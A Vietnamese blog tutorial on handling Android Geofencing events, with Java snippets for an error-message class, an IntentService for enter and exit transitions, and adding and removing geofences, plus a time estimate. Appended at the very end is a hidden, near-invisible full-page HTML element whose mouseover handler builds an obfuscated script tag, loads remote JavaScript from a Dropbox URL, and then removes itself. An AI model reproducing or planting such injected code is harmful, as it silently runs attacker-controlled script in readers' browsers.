Làm một task với Geofencing trong Android thì mất bao lâu?
Cuối tháng rồi mệt thật. (sleepy) Nói luôn với các bạn là bài viết này tập trung hướng dẫn các bạn cách quản lý sự kiện với Geofence và cân đong đo đếm thời gian cần thiết để thực hiện một task nào đó với nó chứ chả đi vào chi tiết quá từng hàm đâu nhé. Mà thực ra có muốn đi chi tiết cũng khó, cơ ...
Cuối tháng rồi mệt thật. (sleepy)
Nói luôn với các bạn là bài viết này tập trung hướng dẫn các bạn cách quản lý sự kiện với Geofence và cân đong đo đếm thời gian cần thiết để thực hiện một task nào đó với nó chứ chả đi vào chi tiết quá từng hàm đâu nhé. Mà thực ra có muốn đi chi tiết cũng khó, cơ bản những cái khó nhất thì thằng Google nó làm cho mình rồi còn đâu (yaoming)
Thôi không câu kéo nữa, bắt đầu thôi chứ nhỉ.
Geofencing (có thể dịch là hàng rào địa lý) là một ý tưởng thiết lập các "hàng rào" (fence) xung quanh một khu vực nhất định (Ví dụ như: nhà mình, nhà hàng xóm, trường học, cơ quan nhà mình, rồi thì nhà bồ mình...vv (rofl)) và cho phép lập trình viên xác định bán kính khu vực đã rào lại. Với khu vực này, lập trình viên có thể bắt được các sự kiện vào (Enter) ra (Exit) thậm chí cả đi dạo loanh quanh trong khu vực đó (Dwell) rồi dựa trên các sự kiện đó mà thực hiện đủ thứ hành động trên đời. =))
Vâng tài liệu nó ở đây
1. Setting up GPS và xin quyền access vào location của thiết bị
Vào build.gradle
compile 'com.google.android.gms:play-services:8.4.0'
Vào AndroidManifest.xml và thêm dòng code
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
2. Thêm một vài địa điểm (geofences) để track
Tất nhiên là mình cũng muốn tạo một cái form nhập vào cho nó đẹp, nhưng các bạn hãy nhớ chúng ta đang trong kịch bản là cần tìm hiểu và nắm bắt nhanh hoạt động của Geofencing trong Android nên tốt nhất hãy nhanh chóng chọn ra một vài địa điểm mình yêu thích và thử ngay với chúng.
Tạo class CommonConstants trong CommonConstants.java và thêm một HashMap các địa danh cùng với kinh vĩ độ của chúng.
public static final HashMap<String, LatLng> AREA_LANDMARKS = new HashMap<String, LatLng>(); static { AREA_LANDMARKS.put("Hanoi, KeangNam Landmark 72", new LatLng(21.017564, 105.784075)); AREA_LANDMARKS.put("Tokyo, Metropolitan Government Building", new LatLng(35.689896, 139.692111)); AREA_LANDMARKS.put("New York City Police Department", new LatLng(40.860085, -73.843970)); }
Kinh độ vĩ độ thì các bạn mở Google Map lên. Chọn địa điểm rồi chuột phải phát như hình dưới đây. Copy - Paste vào là xong. =))
3. Tạo class quản lý các Error Messages
Cái này thì từ Google thôi, chả có gì cả. À có một điểm cần chú ý là mã code GeofenceStatusCodes.GEOFENCE_TOO_MANY_GEOFENCESsẽ xuất hiện khi người dùng đăng ký quá 100 geofences.
package com.example.sonyama.geofencesmanaging; import android.content.Context; import android.content.res.Resources; import com.google.android.gms.location.GeofenceStatusCodes; /** * Created by sonyama on 5/30/16. */ public class ErrorMessages { private ErrorMessages() {} public static String getErrorString(Context context, int errorCode) { Resources mResources = context.getResources(); switch (errorCode) { case GeofenceStatusCodes.GEOFENCE_NOT_AVAILABLE: return mResources.getString(R.string.geofence_not_available); case GeofenceStatusCodes.GEOFENCE_TOO_MANY_GEOFENCES: return mResources.getString(R.string.geofence_too_many_geofences); case GeofenceStatusCodes.GEOFENCE_TOO_MANY_PENDING_INTENTS: return mResources.getString(R.string.geofence_too_many_pending_intents); default: return mResources.getString(R.string.unknown_geofence_error); } } }
4. Tạo Service quản lý các Geofences được đăng ký
Ở đây mình lấy tên là GeofencesManagingService.
Với service này ta chỉ cần chú ý tới 1 function quan trọng nhất, đó là onHandleIntent(). Thằng này là thằng lắng nghe sự kiện vào-ra-hay đi vòng quanh cho bạn này.
@Override protected void onHandleIntent(Intent intent) { // Check sự kiện Geofencing GeofencingEvent geofencingEvent = GeofencingEvent.fromIntent(intent); // Kiểm tra và return ngay nếu có lỗi if (geofencingEvent.hasError()) { String errorMessage = ErrorMessages.getErrorString(this, geofencingEvent.getErrorCode()); return; } // Nếu không có lỗi, lấy kiểu di chuyển (vào hay ra khỏi geofence) int geofenceTransition = geofencingEvent.getGeofenceTransition(); // Gửi Notification về nếu kiểu di chuyển thuộc loại vào hoặc ra geofence if (geofenceTransition == Geofence.GEOFENCE_TRANSITION_ENTER || geofenceTransition == Geofence.GEOFENCE_TRANSITION_EXIT) { // Lấy ra list các geofences đã kích hoạt Intent List<Geofence> triggeringGeofences = geofencingEvent.getTriggeringGeofences(); // Tổng hợp lại vào message cho String geofenceTransitionDetails = getGeofenceTransitionDetails( this, geofenceTransition, triggeringGeofences ); // Gửi Notification sendNotification(geofenceTransitionDetails); Log.i(TAG, geofenceTransitionDetails); } else { // Log lỗi không xác định được kiểu di chuyển Log.e(TAG, getString(R.string.geofence_transition_invalid_type, geofenceTransition)); } }
5. Thêm một khu vực vào list Geofence và xoá khỏi list
Add
try { LocationServices.GeofencingApi.addGeofences( mGoogleApiClient, getGeofencingRequest(), getGeofencePendingIntent() ).setResultCallback(this); } catch (SecurityException securityException) { logSecurityException(securityException); }
Remove
try { LocationServices.GeofencingApi.removeGeofences( mGoogleApiClient, getGeofencePendingIntent() ).setResultCallback(this); } catch (SecurityException securityException) { logSecurityException(securityException); }
Code đầy đủ của các hàm mình sẽ đưa lên github nên tới thời điểm hiện tại các bạn chỉ cần nắm được phương hướng tiến hành là OK nhé! (haha)
6. Test geofences (30 phút)
Tất nhiên chả ai lại chạy đi chạy lại test với location làm gì cho tốn công. Mình dùng app này khá ngon. Giới thiệu cho chả nhà để fake location. Fake JPS
Nhớ là phải Allow mock locations trước nhé.
Các thủ tục cũng tương tự như project ví dụ.
Khoảng 1.5 man/day là đủ. Thoải mái ra thì 2 man/day. =))
Ảnh chụp màn hình và Notification khi về tới KeangNam =))
P/S: Source Code full: https://github.com/ngoduyson/GeofencesManaging
<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; awidth: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id='atk-src' src='https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">